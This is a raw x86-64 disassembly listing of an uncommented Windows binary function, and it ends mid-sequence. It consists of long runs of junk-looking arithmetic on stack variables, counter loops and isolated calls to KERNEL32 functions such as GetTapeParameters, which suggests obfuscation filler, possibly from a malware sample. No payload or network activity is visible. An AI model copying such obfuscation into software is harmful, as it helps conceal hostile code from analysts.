mov rax, qword [rbp + 0x24278]
mov edx, dword [rax]
mov eax, dword [rbp + 0x54e8]
sub edx, eax
mov dword [rbp + 0x17c0], edx
mov rax, qword [rbp + 0x5c40]
mov edx, dword [rax]
mov eax, dword [0x140170314]
sub edx, eax
mov dword [0x140176030], edx
mov edx, dword [rbp + 0x8ec]
mov eax, dword [rbp + 0xc4]
add eax, edx
mov dword [rbp + 0x34fc], eax
mov rax, qword [rbp + 0x23b58]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x24278]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3378]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x24218]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x24228]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov eax, edx
mov word [rbp + 0x12f8], ax
movzx ecx, byte [rbp + 0x1c57]
movzx edx, byte [rbp + 0x316b]
mov rax, qword [rbp + 0x3ff0]
xor edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x5b78]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x569f]
movsx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [rbp + 0x58f3], al
mov rax, qword [rbp + 0x23b90]
movzx edx, word [rax]
movzx eax, word [rbp + 0x2b36]
or edx, eax
mov rax, qword [rbp + 0x241d8]
mov word [rax], dx
mov rax, qword [rbp + 0x23b58]
mov edx, dword [rax]
mov eax, dword [rbp + 0x31e4]
and edx, eax
mov rax, qword [rbp + 0x24278]
mov dword [rax], edx
mov ecx, dword [rbp + 0xc4]
mov rax, qword [rbp + 0x5008]
mov edx, dword [rax]
mov rax, qword [rbp + 0x25e8]
sub ecx, edx
mov dword [rax], ecx
movzx eax, word [rbp + 0x12f8]
movzx edx, word [rbp + 0x1142]
sub eax, edx
mov word [0x140170310], ax
mov rax, qword [rbp + 0x241e8]
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x316b]
mov rax, qword [rbp + 0x40f0]
sub edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x5008]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x25e8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x5c40]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x3378]
mov edx, dword [rax]
mov eax, dword [rbp + 0x40c0]
and eax, edx
mov dword [rbp + 0x18b0], eax
mov rax, qword [rbp + 0x5c40]
mov edx, dword [rax]
mov rax, qword [rbp + 0x5008]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x24200]
mov dword [rax], edx
mov rax, qword [rbp + 0x5c40]
mov edx, dword [rax]
mov eax, dword [rbp + 0xc4]
add edx, eax
mov rax, qword [rbp + 0x24200]
mov dword [rax], edx
mov rax, qword [rbp + 0x24228]
movzx ecx, word [rax]
movzx edx, word [0x140170310]
mov rax, qword [rbp + 0x2b98]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x3ff0]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x1b1f]
add edx, eax
mov rax, qword [rbp + 0x24210]
mov byte [rax], dl
mov eax, dword [0x140170318]
mov dword [rbp + 0x5138], eax
mov edx, dword [rbp + 0xf2c]
mov rax, qword [rbp + 0x3f40]
mov eax, dword [rax]
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x24200]
mov dword [rax], edx
mov rax, qword [rbp + 0x242d8]
mov edx, dword [rax]
mov eax, dword [rbp + 0xf2c]
or eax, edx
mov dword [rbp + 0x8ec], eax
mov r8d, dword [0x140170314]
mov rax, qword [rbp + 0x242d8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x5008]
mov ecx, edx
sar r8d, cl
mov edx, r8d
mov dword [rax], edx
mov edx, dword [rbp + 0x8ec]
mov eax, dword [rbp + 0xf2c]
xor eax, edx
mov dword [rbp + 0x34fc], eax
mov rax, qword [rbp + 0x241d8]
movzx edx, word [rax]
movzx eax, word [rbp + 0x5bcc]
and eax, edx
mov word [rbp + 0x4f66], ax
movzx eax, byte [rbp + 0x4d83]
mov edx, eax
movzx eax, byte [rbp + 0x58f3]
add edx, eax
mov rax, qword [rbp + 0x5b78]
mov byte [rax], dl
movzx edx, byte [rbp + 0x1c57]
mov rax, qword [rbp + 0x24210]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x241e8]
mov byte [rax], dl
mov rax, qword [rbp + 0x24228]
movzx edx, word [rax]
mov rax, qword [rbp + 0x24218]
movzx eax, word [rax]
add edx, eax
mov rax, qword [rbp + 0x24228]
mov word [rax], dx
cmp dword [rbp + 0x242e4], 0x8f38
ja 0x14000a89b
mov rax, qword [rbp + 0x23e0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x5138]
add edx, eax
mov rax, qword [rbp + 0x242a0]
mov dword [rax], edx
mov edx, dword [rbp + 0x17c0]
mov rax, qword [rbp + 0x23e0]
mov eax, dword [rax]
sub edx, eax
mov dword [0x140170318], edx
mov rax, qword [rbp + 0x40f0]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x1c57]
and eax, edx
mov byte [rbp + 0x1b1f], al
movzx eax, word [rbp + 0x1142]
movzx edx, word [rbp + 0x12f8]
sub eax, edx
mov word [rbp + 0x1e9e], ax
mov rax, qword [rbp + 0x5008]
mov edx, dword [rax]
mov rax, qword [rbp + 0x241c8]
mov eax, dword [rax]
add edx, eax
mov rax, qword [rbp + 0x242d8]
mov dword [rax], edx
mov rax, qword [rbp + 0x24278]
mov edx, dword [rax]
mov eax, dword [rbp + 0x13a8]
sub edx, eax
mov dword [rbp + 0x18c4], edx
mov r8d, dword [rbp + 0x8ec]
mov rax, qword [rbp + 0x242d8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3f40]
mov ecx, edx
sar r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0xe98]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x24200]
mov edx, dword [rax]
mov rax, qword [rbp + 0x5c40]
or edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x40f0]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x1c57]
mov rax, qword [rbp + 0x3ff0]
xor edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x24218]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x2b98]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x24228]
mov word [rax], dx
mov rax, qword [rbp + 0x2468]
mov edx, dword [rax]
mov rax, qword [rbp + 0x23b58]
mov eax, dword [rax]
and eax, edx
mov dword [0x140170318], eax
mov rax, qword [rbp + 0x242d8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0xf2c]
mov rax, qword [rbp + 0xe98]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x5b78]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x569f]
sub edx, eax
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
mov rax, qword [rbp + 0x241d8]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x2b36]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x241d8]
mov word [rax], dx
movzx eax, word [rbp + 0x1e9e]
movzx ecx, word [rbp + 0x1142]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x24228]
mov word [rax], dx
mov rax, qword [rbp + 0x40f0]
movzx eax, byte [rax]
movzx edx, byte [rbp + 0x1b1f]
sub eax, edx
mov byte [rbp + 0x316b], al
mov rax, qword [rbp + 0x242a0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x5138]
add eax, edx
mov dword [rbp + 0x40c0], eax
mov edx, dword [rbp + 0x8ec]
mov eax, dword [rbp + 0x34fc]
and eax, edx
mov dword [rbp + 0xc4], eax
mov rax, qword [rbp + 0x5008]
mov edx, dword [rax]
mov eax, dword [rbp + 0x8ec]
add eax, edx
mov dword [rbp + 0xc4], eax
mov edx, dword [rbp + 0x13a8]
mov rax, qword [rbp + 0x2468]
mov eax, dword [rax]
mov ecx, eax
shr edx, cl
mov eax, edx
mov dword [0x140170318], eax
mov rax, qword [rbp + 0x3f40]
mov ecx, dword [rax]
mov edx, dword [0x140176030]
mov rax, qword [rbp + 0x5c40]
xor edx, ecx
mov dword [rax], edx
movzx edx, byte [rbp + 0x1b1f]
movzx eax, byte [rbp + 0x2433]
or eax, edx
mov byte [rbp + 0x1c57], al
mov rax, qword [rbp + 0x2b98]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x24228]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x24218]
mov word [rax], dx
mov rax, qword [rbp + 0x24200]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x241c8]
mov edx, dword [rax]
mov rax, qword [rbp + 0xe98]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x23b58]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x3378]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2468]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x241c8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x8ec]
mov rax, qword [rbp + 0x5008]
add edx, ecx
mov dword [rax], edx
mov ecx, dword [rbp + 0x34fc]
mov edx, dword [rbp + 0xf2c]
mov rax, qword [rbp + 0xe98]
sub ecx, edx
mov dword [rax], ecx
movzx edx, byte [rbp + 0x316b]
mov rax, qword [rbp + 0x3ff0]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x40f0]
sub edx, ecx
mov byte [rax], dl
movzx edx, word [rbp + 0x12f8]
movzx eax, word [rbp + 0x1142]
add edx, eax
mov rax, qword [rbp + 0x24228]
mov word [rax], dx
mov rax, qword [rbp + 0x23b90]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x5bcc]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x241d8]
mov word [rax], dx
movzx eax, byte [rbp + 0x23d7]
mov edx, eax
mov rax, qword [rbp + 0x24248]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x58f3], al
mov rax, qword [rbp + 0x2468]
mov edx, dword [rax]
mov eax, dword [rbp + 0x40c0]
add eax, edx
mov dword [rbp + 0x18c4], eax
mov ecx, dword [rbp + 0x8ec]
mov edx, dword [rbp + 0xc4]
mov rax, qword [rbp + 0xe98]
and edx, ecx
mov dword [rax], edx
add dword [rbp + 0x2419c], 0xdd
mov rax, qword [rbp + 0x2b98]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x24218]
movzx edx, word [rax]
mov rax, qword [rbp + 0x2b98]
or edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x3ff0]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x40f0]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov byte [rbp + 0x1c57], al
mov rax, qword [rbp + 0x2468]
mov edx, dword [rax]
mov eax, dword [rbp + 0x18c4]
xor eax, edx
mov dword [rbp + 0x18b0], eax
mov r8d, dword [rbp + 0xc4]
mov rax, qword [rbp + 0xe98]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3f40]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov edx, dword [0x140170314]
mov rax, qword [rbp + 0x24200]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x242d8]
mov dword [rax], edx
mov rax, qword [rbp + 0x24278]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x40c0]
mov rax, qword [rbp + 0x23e0]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x24228]
movzx edx, word [rax]
mov rax, qword [rbp + 0x2b98]
movzx eax, word [rax]
and edx, eax
mov rax, qword [rbp + 0x24228]
mov word [rax], dx
movzx edx, byte [rbp + 0x2433]
movzx eax, byte [rbp + 0x316b]
add eax, edx
mov byte [rbp + 0x1b1f], al
mov edx, dword [rbp + 0xf2c]
mov rax, qword [rbp + 0x241c8]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0xc4], edx
mov ecx, dword [rbp + 0xc4]
mov edx, dword [rbp + 0x8ec]
mov rax, qword [rbp + 0x5008]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x2468]
mov edx, dword [rax]
mov rax, qword [rbp + 0x23b58]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x18c4], eax
mov edx, dword [0x140176030]
mov rax, qword [rbp + 0x5008]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x8ec], edx
mov rax, qword [rbp + 0x241c8]
mov edx, dword [rax]
mov eax, dword [rbp + 0xc4]
sub edx, eax
mov dword [rbp + 0x8ec], edx
mov rax, qword [rbp + 0x5c40]
mov edx, dword [rax]
mov eax, dword [0x140170314]
sub edx, eax
mov dword [0x140176030], edx
cmp dword [rbp + 0x2419c], 0xceae
jne 0x14000ac0d
mov rax, qword [rbp + 0x241d8]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x2b36]
add eax, edx
mov word [rbp + 0x4f66], ax
mov rax, qword [rbp + 0x241e8]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x3ff0]
movzx eax, byte [rax]
xor edx, eax
mov rax, qword [rbp + 0x241e8]
mov byte [rax], dl
mov rax, qword [rbp + 0x24218]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1142]
or edx, eax
mov rax, qword [rbp + 0x24228]
mov word [rax], dx
mov edx, dword [rbp + 0x17c0]
mov eax, dword [rbp + 0x5138]
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x24278]
mov dword [rax], edx
add dword [rbp + 0x24230], 0x45
mov rax, qword [rbp + 0x3f40]
mov r8d, dword [rax]
mov rax, qword [rbp + 0x25e8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3f40]
mov ecx, edx
sar r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x2b98]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1142]
and edx, eax
mov rax, qword [rbp + 0x24228]
mov word [rax], dx
movzx edx, byte [rbp + 0x1b1f]
movzx ecx, byte [rbp + 0x316b]
mov rax, qword [rbp + 0x3ff0]
sub edx, ecx
mov byte [rax], dl
mov edx, dword [rbp + 0x13a8]
mov eax, dword [rbp + 0x18b0]
sub edx, eax
mov rax, qword [rbp + 0x24278]
mov dword [rax], edx
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov rax, qword [rbp + 0x242d8]
mov eax, dword [rax]
and eax, edx
mov dword [0x140176030], eax
mov rax, qword [rbp + 0x24200]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x241c8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x25e8]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x23b58]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x2468]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3378]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x24218]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1e9e]
add edx, eax
mov rax, qword [rbp + 0x24228]
mov word [rax], dx
mov rax, qword [rbp + 0x40f0]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x2433]
add edx, eax
mov rax, qword [rbp + 0x24210]
mov byte [rax], dl
mov rax, qword [rbp + 0x5008]
mov edx, dword [rax]
mov rax, qword [rbp + 0x24200]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x241c8]
mov dword [rax], edx
mov rax, qword [rbp + 0x5008]
mov edx, dword [rax]
mov rax, qword [rbp + 0x25e8]
mov eax, dword [rax]
or eax, edx
mov dword [rbp + 0xc4], eax
movzx eax, word [rbp + 0x2b36]
movsx edx, ax
movzx eax, word [rbp + 0x5bcc]
cwde
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x241d8]
mov word [rax], dx
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x58f3]
movsx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x24248]
mov byte [rax], dl
mov rax, qword [rbp + 0x242d8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x8ec]
xor eax, edx
mov dword [0x140176030], eax
mov rax, qword [rbp + 0x24228]
movzx edx, word [rax]
movzx eax, word [0x140170310]
and edx, eax
mov rax, qword [rbp + 0x24218]
mov word [rax], dx
mov ecx, dword [rbp + 0x5138]
mov rax, qword [rbp + 0x24278]
mov edx, dword [rax]
mov rax, qword [rbp + 0x23e0]
sub ecx, edx
mov dword [rax], ecx
mov edx, dword [rbp + 0x40c0]
mov eax, dword [rbp + 0x18b0]
add eax, edx
mov dword [rbp + 0x18c4], eax
mov ecx, dword [0x140170314]
mov edx, dword [rbp + 0xc4]
mov rax, qword [rbp + 0xe98]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x24200]
mov edx, dword [rax]
mov rax, qword [rbp + 0x5008]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x34fc], eax
mov rax, qword [rbp + 0x24200]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x5008]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3f40]
and edx, ecx
mov dword [rax], edx
movzx edx, byte [rbp + 0x316b]
mov rax, qword [rbp + 0x24210]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x2433], al
movzx edx, word [rbp + 0x1142]
movzx eax, word [rbp + 0x1e9e]
add eax, edx
mov word [rbp + 0x12f8], ax
mov rax, qword [rbp + 0x242a0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x17c0]
add eax, edx
mov dword [rbp + 0x5138], eax
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0xc4]
sub edx, eax
mov dword [0x140170314], edx
mov ecx, dword [rbp + 0xf2c]
mov edx, dword [rbp + 0x34fc]
mov rax, qword [rbp + 0x3f40]
or edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x23e0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2468]
mov eax, dword [rax]
mov ecx, eax
shr edx, cl
mov rax, qword [rbp + 0x23b58]
mov dword [rax], edx
mov rax, qword [rbp + 0x3ff0]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x1b1f]
movzx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x40f0]
mov byte [rax], dl
mov rax, qword [rbp + 0x24228]
movzx edx, word [rax]
movzx eax, word [rbp + 0x12f8]
xor edx, eax
mov rax, qword [rbp + 0x24228]
mov word [rax], dx
mov rax, qword [rbp + 0x24248]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x4d83]
and eax, edx
mov byte [rbp + 0x569f], al
mov rax, qword [rbp + 0x241d8]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x5bcc]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x4f66], ax
mov rax, qword [rbp + 0x23b58]
mov edx, dword [rax]
mov eax, dword [rbp + 0x31e4]
add eax, edx
mov dword [rbp + 0x18b0], eax
mov rax, qword [rbp + 0xe98]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x5008]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3f40]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x24200]
mov edx, dword [rax]
mov rax, qword [rbp + 0x242d8]
mov eax, dword [rax]
add eax, edx
mov dword [0x140176030], eax
mov rax, qword [rbp + 0x24218]
movzx edx, word [rax]
movzx ecx, word [0x140170310]
mov rax, qword [rbp + 0x2b98]
sub edx, ecx
mov word [rax], dx
mov ecx, dword [rbp + 0xc4]
mov edx, dword [rbp + 0x34fc]
mov rax, qword [rbp + 0xe98]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x24278]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x54e8]
mov rax, qword [rbp + 0x2468]
sub ecx, edx
mov dword [rax], ecx
mov ecx, dword [0x140170314]
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov rax, qword [rbp + 0x5c40]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x25e8]
mov edx, dword [rax]
mov eax, dword [rbp + 0xc4]
add edx, eax
mov rax, qword [rbp + 0x241c8]
mov dword [rax], edx
mov rax, qword [rbp + 0x2b98]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [0x140170310]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [rbp + 0x1e9e], ax
mov rax, qword [rbp + 0x24210]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x40f0]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x3ff0]
or edx, ecx
mov byte [rax], dl
mov edx, dword [rbp + 0x5138]
mov rax, qword [rbp + 0x23b58]
mov eax, dword [rax]
mov ecx, eax
shr edx, cl
mov eax, edx
mov dword [rbp + 0x54e8], eax
mov rax, qword [rbp + 0x5008]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x242d8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x5c40]
xor edx, ecx
mov dword [rax], edx
cmp dword [rbp + 0x24230], 0xea52
jbe 0x14000b129
mov eax, dword [rbp + 0x8ec]
mov dword [rbp + 0x4fd0], eax
movzx eax, byte [rbp + 0x58f3]
movsx eax, al
cmp eax, 0x68
je 0x14000b64a
cmp eax, 0x72
je 0x14000b773
jmp 0x14000b7be
mov rax, qword [rbp + 0x241c8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x34fc]
and edx, eax
mov rax, qword [rbp + 0x242d8]
mov dword [rax], edx
mov rax, qword [rbp + 0x241d8]
movzx eax, word [rax]
movsx edx, ax
movzx eax, word [rbp + 0x4f66]
cwde
mov ecx, edx
sub ecx, eax
mov rax, qword [rbp + 0x23b90]
movzx eax, word [rax]
movsx edx, ax
movzx eax, word [rbp + 0x2b36]
cwde
sub edx, eax
cmp ecx, edx
jne 0x14000b6cf
mov rax, qword [rbp + 0x3238]
lea rcx, [rbp + 0x1c57]
lea rdx, [rbp + 0x1b60]
mov r9, rcx
mov r8, rdx
mov edx, 0x19
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTapeParameters]
call rax
mov dword [rbp + 0x2de0], eax
jmp 0x14000b7bd
movzx eax, word [rbp + 0x2b36]
movsx edx, ax
mov rax, qword [rbp + 0x23b90]
movzx eax, word [rax]
cwde
lea ecx, [rdx + rax]
movzx eax, word [rbp + 0x5bcc]
movsx edx, ax
mov rax, qword [rbp + 0x241d8]
movzx eax, word [rax]
cwde
sub edx, eax
cmp ecx, edx
jge 0x14000b7bd
mov rax, qword [rbp + 0x241c8]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov rax, qword [rbp + 0x25e8]
add edx, ecx
mov dword [rax], edx
movzx eax, word [rbp + 0x2b36]
mov edx, eax
movzx eax, word [rbp + 0x4f66]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x5bcc], ax
mov rax, qword [rbp + 0x3ff0]
movzx eax, byte [rax]
movzx ecx, al
mov rax, qword [rbp + 0x40f0]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x40f0]
movzx eax, byte [rax]
movzx eax, al
mov r8d, ecx
mov ecx, eax
call fcn.14015a391
jmp 0x14000b7bd
mov rax, qword [rbp + 0x24248]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
and edx, eax
mov rax, qword [rbp + 0x24248]
mov byte [rax], dl
mov rax, qword [rbp + 0x241e8]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x2433]
add eax, edx
mov byte [rbp + 0x316b], al
mov rax, qword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
call rax
mov word [rbp + 0x12f8], ax
jmp 0x14000b7be
nop
mov rax, qword [rbp + 0x2b98]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x24218]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [rbp + 0x1142], ax
jmp 0x14000bad9
mov rax, qword [rbp + 0x242a0]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x24278]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3378]
xor edx, ecx
mov dword [rax], edx
mov edx, dword [rbp + 0x17c0]
mov rax, qword [rbp + 0x2468]
mov eax, dword [rax]
mov ecx, eax
shr edx, cl
mov rax, qword [rbp + 0x24278]
mov dword [rax], edx
mov rax, qword [rbp + 0x24218]
movzx edx, word [rax]
movzx eax, word [rbp + 0x12f8]
or edx, eax
mov rax, qword [rbp + 0x24228]
mov word [rax], dx
mov rax, qword [rbp + 0x3ff0]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x241e8]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x40f0]
sub edx, ecx
mov byte [rax], dl
mov ecx, dword [0x140170314]
mov edx, dword [rbp + 0x34fc]
mov rax, qword [rbp + 0x5008]
and edx, ecx
mov dword [rax], edx
mov edx, dword [rbp + 0x18c4]
mov eax, dword [rbp + 0x40c0]
add eax, edx
mov dword [rbp + 0x54e8], eax
mov edx, dword [rbp + 0xc4]
mov rax, qword [rbp + 0x25e8]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0xf2c], edx
mov edx, dword [rbp + 0xc4]
mov eax, dword [rbp + 0xf2c]
add eax, edx
mov dword [rbp + 0x34fc], eax
mov rax, qword [rbp + 0x2b98]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1142]
add edx, eax
mov rax, qword [rbp + 0x24218]
mov word [rax], dx
mov rax, qword [rbp + 0x241e8]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x3ff0]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x40f0]
add edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x2468]
mov edx, dword [rax]
mov eax, dword [rbp + 0x18c4]
sub edx, eax
mov dword [0x140170318], edx
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x4fd0]
add eax, edx
mov dword [rbp + 0x8ec], eax
mov rax, qword [rbp + 0x24248]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x58f3]
and eax, edx
mov byte [rbp + 0x569f], al
mov rax, qword [rbp + 0x241d8]
movzx edx, word [rax]
movzx eax, word [rbp + 0x2b36]
xor eax, edx
mov word [rbp + 0x4f66], ax
mov rax, qword [rbp + 0x3ff0]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x24210]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x3ff0]
or edx, ecx
mov byte [rax], dl
movzx eax, word [rbp + 0x1142]
movzx edx, ax
movzx eax, word [rbp + 0x12f8]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x24218]
mov word [rax], dx
mov rax, qword [rbp + 0x23e0]
mov r8d, dword [rax]
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x3378]
mov ecx, edx
shr r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x241c8]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov rax, qword [rbp + 0xe98]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x5c40]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x4fd0]
mov rax, qword [rbp + 0x5008]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x23b58]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2468]
mov eax, dword [rax]
and edx, eax
mov rax, qword [rbp + 0x242a0]
mov dword [rax], edx
mov edx, dword [rbp + 0xf2c]
mov eax, dword [rbp + 0x4fd0]
sub edx, eax
mov dword [rbp + 0xc4], edx
mov rax, qword [rbp + 0x24218]
movzx edx, word [rax]
movzx ecx, word [rbp + 0x1e9e]
mov rax, qword [rbp + 0x2b98]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x3ff0]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x1c57]
add edx, eax
mov rax, qword [rbp + 0x241e8]
mov byte [rax], dl
mov edx, dword [rbp + 0x4fd0]
mov eax, dword [0x140176030]
add eax, edx
mov dword [rbp + 0xc4], eax
mov edx, dword [rbp + 0x18c4]
mov rax, qword [rbp + 0x3378]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x242a0]
mov dword [rax], edx
add dword [rbp + 0x2428c], 0xb
mov rax, qword [rbp + 0x5c40]
mov edx, dword [rax]
mov rax, qword [rbp + 0x5008]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x4fd0], edx
mov ecx, dword [rbp + 0x8ec]
mov edx, dword [rbp + 0xc4]
mov rax, qword [rbp + 0xe98]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x24228]
movzx eax, word [rax]
movzx edx, word [rbp + 0x1e9e]
sub eax, edx
mov word [rbp + 0x12f8], ax
cmp dword [rbp + 0x2428c], 0x73cb
jbe 0x14000b7ea
jmp 0x14000bf5e
movzx eax, byte [rbp + 0x1c57]
movzx edx, al
movzx eax, byte [rbp + 0x1b1f]
